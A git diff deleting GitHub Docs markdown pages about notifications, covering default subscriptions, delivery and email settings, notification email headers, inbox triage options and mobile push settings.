-If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions).
-
-### Default subscriptions
-
-In general, you are automatically subscribed to conversations by default when you have:
-* Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
-* Been assigned to an issue or pull request.
-* Opened a pull request{% ifversion team-discussions %}, issue, or created a team discussion post{% else %} or issue{% endif %}.
-* Commented on a thread.
-* Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
-* Had your username @mentioned.
-* Changed the state of a thread, such as by closing an issue or merging a pull request.
-* Had a team you're a member of @mentioned.
-
-By default, you also automatically watch all repositories that you create and are owned by your personal account.
-
-To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions).
-
-## Customizing notifications and subscriptions
-
-You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications) and in the {% data variables.product.prodname_mobile %} app, through your email, or some combination of these options.
-
-To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications).
-
-To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
-
-To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request).
-
-You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#managing-your-notification-settings-with-github-mobile).
-
-## Reasons for receiving notifications
-
-Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#default-notification-filters).
-
-Your inbox shows the `reason` you're receiving a notification as a label, such as, `mention`, `subscribed`, or `review requested`.
-
-You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `reason:review-requested` query filter.
-
-If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#filtering-email-notifications).
-
-## Triaging notifications from your inbox
-
-To effectively manage your notifications, you can triage your inbox with options to:
-* Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
-* Mark a notification as read or unread.
-* **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
-* Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
-
-From your inbox you can also triage multiple notifications at once. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time).
-
-## Customizing your notifications inbox
-
-To focus on a group of notifications in your inbox, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox). For more examples of how to customize your triaging workflow, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications).
-
-## Notification retention policy
-
-Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
-
-## Feedback and support
-
-If you have feedback or feature requests for notifications, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general).
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md
deleted file mode 100644
index 42ec698c92d4..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md
+++ /dev/null
@@ -1,293 +0,0 @@
----
-title: Configuring notifications
-intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.'
-redirect_from:
- - /articles/about-web-notifications
- - /format-of-notification-emails
- - /articles/configuring-notification-emails
- - /articles/about-notification-emails
- - /articles/about-email-notifications
- - /articles/accessing-your-notifications
- - /articles/configuring-notification-delivery-methods
- - /articles/managing-notification-delivery-methods
- - /articles/managing-notification-emails-for-organizations
- - /articles/choosing-the-delivery-method-for-your-notifications
- - /articles/choosing-the-types-of-notifications-you-receive
- - /github/managing-subscriptions-and-notifications-on-github/configuring-notifications
- - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
----
-
-## Notification delivery options
-
-You can receive notifications for activity on {% data variables.product.prodname_dotcom %} in the following locations.
-
-* The notifications inbox in the {% data variables.product.prodname_dotcom %} web interface
-* The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox in the web interface
-* An email client that uses a verified email address, which can also sync with the notifications inbox in the web interface and {% data variables.product.prodname_mobile %}
-
-{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see [Choosing your notification settings](#choosing-your-notification-settings).
-
-{% data reusables.notifications.shared_state %}
-
-### Benefits of the notifications inbox
-
-The notifications inbox includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to:
-* Triage multiple notifications at once.
-* Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query.
-* Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query.
-* Unsubscribe and remove a notification from your inbox.
-* Preview the issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %} where the notification originates on {% data variables.product.prodname_dotcom %} from within the notifications inbox.
-* See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label.
-* Create custom filters to focus on different notifications when you want.
-* Group notifications in your inbox by repository or date to get a quick overview with less context switching.
-
-In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see [Managing your notification settings with GitHub Mobile](#managing-your-notification-settings-with-github-mobile) or [AUTOTITLE](/get-started/using-github/github-mobile).
-
-### Benefits of using an email client for notifications
-
-One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#notification-retention-policy).
-
-Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels.
-
-Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see [Customizing your email notifications](#customizing-your-email-notifications).
-
-## About participating and watching notifications
-
-When you watch a repository, you're subscribing to updates for activity in that repository. {% ifversion team-discussions %}Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions).{% endif %}
-
-To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
-
-You can configure notifications for a repository on the repository page, or on your watching page.
-
-### About custom notifications
-
-You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. For more information, see [Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository) below.
-
-### Participating in conversations
-
-Anytime you comment in a conversation or when someone @mentions your username, you are participating in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox.
-
-{% ifversion update-notification-settings-22 %}For conversations you're watching or participating in, you can choose whether you want to receive notifications on {% data variables.product.company_short %} or by email in your notification settings. For more information, see [Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings).
-
-{% else %}
-
-For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox. For more information, see [Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings).
-
-{% endif %}
-
-For example, on your "Notification settings" page:
-* If you don't want notifications to be sent to your email, deselect **email** for participating and watching notifications.
-* If you want to receive notifications by email when you've participated in a conversation, then select **email** under "Participating".
-
-{% ifversion update-notification-settings-22 %}If you do not enable "Notify me: On GitHub" for watching or participating notifications, then your notifications inbox will not have any updates.
-
-{% else %}
-
-If you do not enable watching or participating notifications for web{% ifversion ghes %} and mobile{% endif %}, then your notifications inbox will not have any updates.{% endif %}
-
-## Customizing your email notifications
-
-After enabling email notifications, {% data variables.product.prodname_dotcom %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.product.prodname_dotcom %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only.
-
-{% data reusables.notifications.outbound_email_tip %}
-
-{% data reusables.notifications.shared_state %}
-
-{% ifversion fpt or ghec %}
-
-If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification.
-
-{% endif %}
-
-Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.product.prodname_dotcom %} you want to receive updates for using your default email address. For example, choose whether you want updates sent to your default email from:
-* Comments on issues and pull requests
-* Pull request reviews
-* Pull request pushes
-* Your own updates, such as when you open, comment on, or close an issue or pull request
-
-Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent).
-
-You can also send notifications for a specific repository to an email address. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository).
-
-{% data reusables.notifications-v2.email-notification-caveats %}
-
-## Filtering email notifications
-
-Each email notification that {% data variables.product.prodname_dotcom %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications.
-
-If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user.
-
-Email notifications from {% data variables.product.prodname_dotcom %} contain header information.
-
-| Header | Information |
-| --- | --- |
-| `From` address | This address will always be {% ifversion fpt %}`notifications@github.com`{% elsif ghec %}`notifications@github.com` or `notifications@SUBDOMAIN.ghe.com`{% else %}the no-reply email address configured by your site administrator{% endif %}. |
-| `To` field | This field connects directly to the thread. If you reply to the email, you'll add a new comment to the conversation. |
-| `Cc` address | {% data variables.product.github %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% ifversion fpt %}`@noreply.github.com`{% elsif ghec %}`@noreply.github.com` or `@noreply.SUBDOMAIN.ghe.com`{% else %}based on the no-reply email address configured by your site administrator{% endif %}. The possible notification reasons are: - `assign`: You were assigned to an issue or pull request.
- `author`: You created an issue or pull request.
- `ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.
- `comment`: You commented on an issue or pull request.
- `manual`: There was an update to an issue or pull request you manually subscribed to.
- `mention`: You were mentioned on an issue or pull request.
- `push`: Someone committed to a pull request you're subscribed to.
- `review_requested`: You or a team you're a member of was requested to review a pull request.
- `security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.
- `state_change`: An issue or pull request you're subscribed to was either closed or opened.
- `subscribed`: There was an update in a repository you're watching.
- `team_mention`: A team you belong to was mentioned on an issue or pull request.
- `your_activity`: You opened, commented on, or closed an issue or pull request.
|
-| `List-Id` field | This field identifies the name of the repository and its owner. The format of this address is always `OWNER/REPOSITORY `, e.g. `List-Id: grain-lang/grain `. |
-| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:- `low`
- `moderate`
- `high`
- `critical`
For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). |
-
-## Replying to email notifications
-
-You can reply to email notifications from {% data variables.product.github %} and your reply will be posted to the issue, pull request, or discussion.
-
-The `reply-to` address on each email notification identifies the thread and the account that the comment will be posted from. This email address remains valid until you reset your password.
-
-{% data variables.product.github %} will not always include the full email contents and will attempt to strip some personally identifiable information from comments created via an email reply:
-
-* Email addresses in a standard format, such as `octocat@github.com`, are transformed to `***@***.***`.
-* Signatures and quoted reply chains, when the email client has used a `>` to mark those sections, are stripped.
-* While the unsubscribe link from your email notification is sometimes quoted, the link will only work when signed in to your account.
-* Email attachments are not included in the resulting comment.
-* The maximum length of a comment created via an email reply is 65530 characters.
-
-## Choosing your notification settings
-
-{% data reusables.notifications.access_notifications %}
-{% data reusables.notifications-v2.manage-notifications %}
-1. On the notifications settings page, choose how you receive notifications when:
- * There are updates in repositories {% ifversion team-discussions %}or team discussions{% endif %} you're watching or in a conversation you're participating in. For more information, see [About participating and watching notifications](#about-participating-and-watching-notifications).
- * You gain access to a new repository or you've joined a new team. For more information, see [Automatic watching](#automatic-watching).
- * There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see [{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options). {% ifversion fpt or ghec %}
- * There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see [{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options).{% endif %}
- * There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see [Organization alerts notification options](#organization-alerts-notification-options).
-
-## Automatic watching
-
-By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options in your notification settings.
-
-{% ifversion update-notification-settings-22 %}
-
-{% else %}
-{% endif %}
-
-If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option.
-
-For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings).
-
-## Configuring your watch settings for an individual repository
-
-You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or completely ignore an individual repository.
-
-{% data reusables.repositories.navigate-to-repo %}
-1. In the upper-right corner, select the "Watch" drop-down menu, then click a watch option.
-
- If you want to further customize notifications, click **Custom**, then select specific events that you want to be notified of, such as Issues or Pull Requests, in addition to participating and @mentions.
-
- For example, if you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues.
-
-## Choosing where your organization’s email notifications are sent
-
-If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address.
-
-{% data reusables.notifications-v2.email-notification-caveats %}
-
-{% data reusables.notifications.access_notifications %}
-{% data reusables.notifications-v2.manage-notifications %}
-1. Under "Default notifications email", select the email address you'd like notifications sent to.
-{% ifversion ghes %}
-1. Click **Save**.{% endif %}
-
-### Customizing email routes per organization
-
-If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% endif %}
-
-{% data reusables.notifications.access_notifications %}
-{% data reusables.notifications-v2.manage-notifications %}
-{% ifversion update-notification-settings-22 %}
-1. Under "Default notifications email", click **Custom routing**.
-
- 
-
-1. Click **Add new route**.
-
-1. Select the **Pick organization** dropdown, then click the organization you want to customize.
-1. Select one of your verified email addresses, then click **Save**.
-
- 
-{% else %}
-1. Under "Custom routing," find your organization's name in the list.
-
-1. Click **Edit** next to the email address you want to change.
-
-1. Select one of your verified email addresses, then click **Save**.
-
-{% endif %}
-
-## {% data variables.product.prodname_dependabot_alerts %} notification options
-
-The notification options for your user account are available at [https://github.com/settings/notifications](https://github.com/settings/notifications). You can configure notification settings for each repository, in the repository watch settings.
-
-{% data reusables.notifications.vulnerable-dependency-notification-enable %}
-{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
-{% data reusables.notifications.vulnerable-dependency-notification-options %}
-
-For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts).
-
-## {% data variables.product.prodname_secret_scanning_caps %} notification options
-
-{% data reusables.secret-scanning.secret-scanning-configure-notifications %}
-
-For more information on how to configure notifications for {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/monitoring-alerts).
-
-## {% data variables.product.prodname_actions %} notification options
-
-For repositories that are set up with {% data variables.product.prodname_actions %} and that you are watching, you can choose how you want to receive workflow run updates.
-
-{% ifversion update-notification-settings-22 %}
-1. On the "Notification settings" page, under "System", then under "Actions", select the **Don't notify** dropdown menu.
-
- 
-1. To opt into web notifications, from the dropdown menu, select "On {% data variables.product.prodname_dotcom %}."
-
- To opt into email notifications, from the dropdown menu, select "Email."
-1. Optionally, to only receive notifications for failed workflow runs, from the dropdown menu, select "Only notify for failed workflows", then click **Save**.{% endif %}
-
-{% ifversion ghes %}
-On the "Notification settings" page, select "Email" or "Web" notifications. Optionally, to only receive notifications for failed workflow runs, select "Send notifications for failed workflows only".
-
-{% endif %}
-
-## Organization alerts notification options
-
-If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", deselect **Email**.
-
-## Managing your notification settings with {% data variables.product.prodname_mobile %}
-
-When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events.
-* Direct mentions
-* Assignments to issues or pull requests
-* Requests to review a pull request
-* Requests to approve a deployment
-
-You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device.
-
-{% data reusables.mobile.push-notifications-on-ghes %}
-
-### Managing your notification settings with {% data variables.product.prodname_ios %}
-
-1. In the bottom menu, tap **Profile**.
-1. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}.
-1. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications.
-1. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications.
-
-### Managing your notification settings with {% data variables.product.prodname_android %}
-
-1. In the bottom menu, tap **Profile**.
-1. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}.
-1. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications.
-1. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications.
-
-## Configuring your watch settings for an individual repository with {% data variables.product.prodname_mobile %}
-
-You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of {% ifversion fpt or ghec %}certain event types such as issues, pull requests, discussions (if enabled for the repository) and {% endif %}new releases, or completely ignore an individual repository.
-
-1. On {% data variables.product.prodname_mobile %}, navigate to the main page of the repository.
-1. Tap **Watch**.
-1. To choose what activities you receive notifications for, tap your preferred watch settings. For example, choose to only be notified when you are participating or @mentioned, or use the "Custom" option to select specific events that you want to be notified of.
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md
deleted file mode 100644
index 0b721155af90..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: Setting up notifications
-intro: 'To improve the relevance of your notifications and simplify your triaging workflow, set up your notifications to match your priorities.'
-redirect_from:
- - /articles/getting-started-with-notifications
- - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-children:
- - /about-notifications
- - /configuring-notifications
----
-
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md
deleted file mode 100644
index e2987bee5c37..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Customizing a workflow for triaging your notifications
-intro: 'To create an ideal workflow for triaging your notifications, you can adapt and customize these example workflows.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-redirect_from:
- - /github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications
- - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications
-shortTitle: Triage your notifications
----
-## Starting your inbox triage
-
-Before you start triaging your inbox, consider whether you prefer to first find and respond to the most important updates or to clear your inbox of distracting updates that are easy to remove or triage.
-
-You may decide to use a combination of both approaches at various times depending on the volume of notifications you have.
-
-For an example workflow of finding and responding to the most important notifications, see [Checking your highest notification priorities](#checking-your-highest-notification-priorities).
-
-For an example workflow of removing notifications that are easy to remove or triage, see [Clearing your least important notifications](#clearing-your-least-important-notifications).
-
-## Checking your highest notification priorities
-
-Choose which type of notifications are most urgent to review and pick a time to review them that's best for you. You might consider the question "Who am I blocking?"
-
-For example, you may decide to check your notifications in this order in the morning during your daily planning time:
-* Pull requests where your review is requested (filter by `reason:review-requested`)
-* Events where your username is @mentioned, also called direct mentions (filter by `reason:mention`)
-* Events where a team you're a member of is @mentioned, also called team mentions (filter by `reason:team-mention`)
-* CI workflow failures for a specific repository (filter by `reason:ci-activity` and `repo:owner/repo-name` and ensure you've enabled CI activity notifications for workflow failures in your notification settings)
-
- > [!TIP]
- > To quickly review your highest priorities, set up custom filters in order of their reviewing priority. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#customizing-your-inbox-with-custom-filters).
-
-## Following up on ongoing notification updates
-
-To follow-up on notifications, you might consider the question "What was I blocked on that I'm no longer blocked on?" Choose your follow-up notification priorities.
-
-For example, you may decide to follow up in this order:
-* Issues and pull requests you're assigned to. Immediately close any issues or pull requests you can and add updates. As needed, save notifications to review later.
-* Review notifications in the saved inbox, especially unread updates. If the thread is no longer relevant, click {% octicon "bookmark-slash" aria-label="Unsave" %} to remove the notification from the saved inbox and unsave it.
-
-## Managing lower-priority notifications
-
-After triaging the higher priority notifications, review the remaining notifications, such as participating notifications. Consider these questions:
-* Can you unsubscribe to this notification? Is this notification completed and ready to be marked as **Done**?
-
- > [!TIP]
- > When you unsubscribe from a notification you won't receive new updates unless you start participating in the thread or you're @mentioned or a team you're on is @mentioned. When you mark a notification as **Done**, the notification is removed from your main inbox view and can be viewed with the query `is:read`. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-options).
-
-* Would you like to receive future updates when this issue or pull request is closed or reopened, or when a pull request is merged? For more information on these options, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request).
-* Would you like to avoid receiving notifications like this in the future? If so, consider unsubscribing. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
-
-## Clearing your least important notifications
-
-Choose which type of notifications are quickest and easiest for you to triage and remove from your inbox, ideally triaging multiple notifications at once.
-
-For example, you may decide to clear notifications in this order:
-* Participating notifications that you can unsubscribe to
-* Repository updates that are not relevant to keep or follow-up on
-
-For more information on managing multiple notifications in your inbox at the same time, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time).
-
-You may also consider changing your notification settings or unsubscribing from these updates if possible. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications) or [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github).
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
deleted file mode 100644
index dfef6a9d2ed6..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Viewing and triaging notifications
-intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.'
-redirect_from:
- - /articles/managing-notifications
- - /articles/managing-your-notifications
- - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-children:
- - /managing-notifications-from-your-inbox
- - /triaging-a-single-notification
- - /customizing-a-workflow-for-triaging-your-notifications
-shortTitle: Customize a workflow
----
-
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
deleted file mode 100644
index 173427e3a8c4..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Managing notifications from your inbox
-intro: 'Use your inbox to quickly triage and sync your notifications across email and mobile.'
-redirect_from:
- - /articles/marking-notifications-as-read
- - /articles/saving-notifications-for-later
- - /github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox
- - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-shortTitle: Manage from your inbox
----
-
-## About your inbox
-
-{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings).
-
-To access your notifications inbox, in the upper-right corner of any page, click {% octicon "inbox" aria-label="The notifications inbox" %}.
-
-Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
-
-By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
-
-## Triaging options
-
-You have several options for triaging notifications from your inbox.
-
-| Triaging option | Description |
-|-----------------|-------------|
-| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="Save" %}.
Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
-| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
-| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
-| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
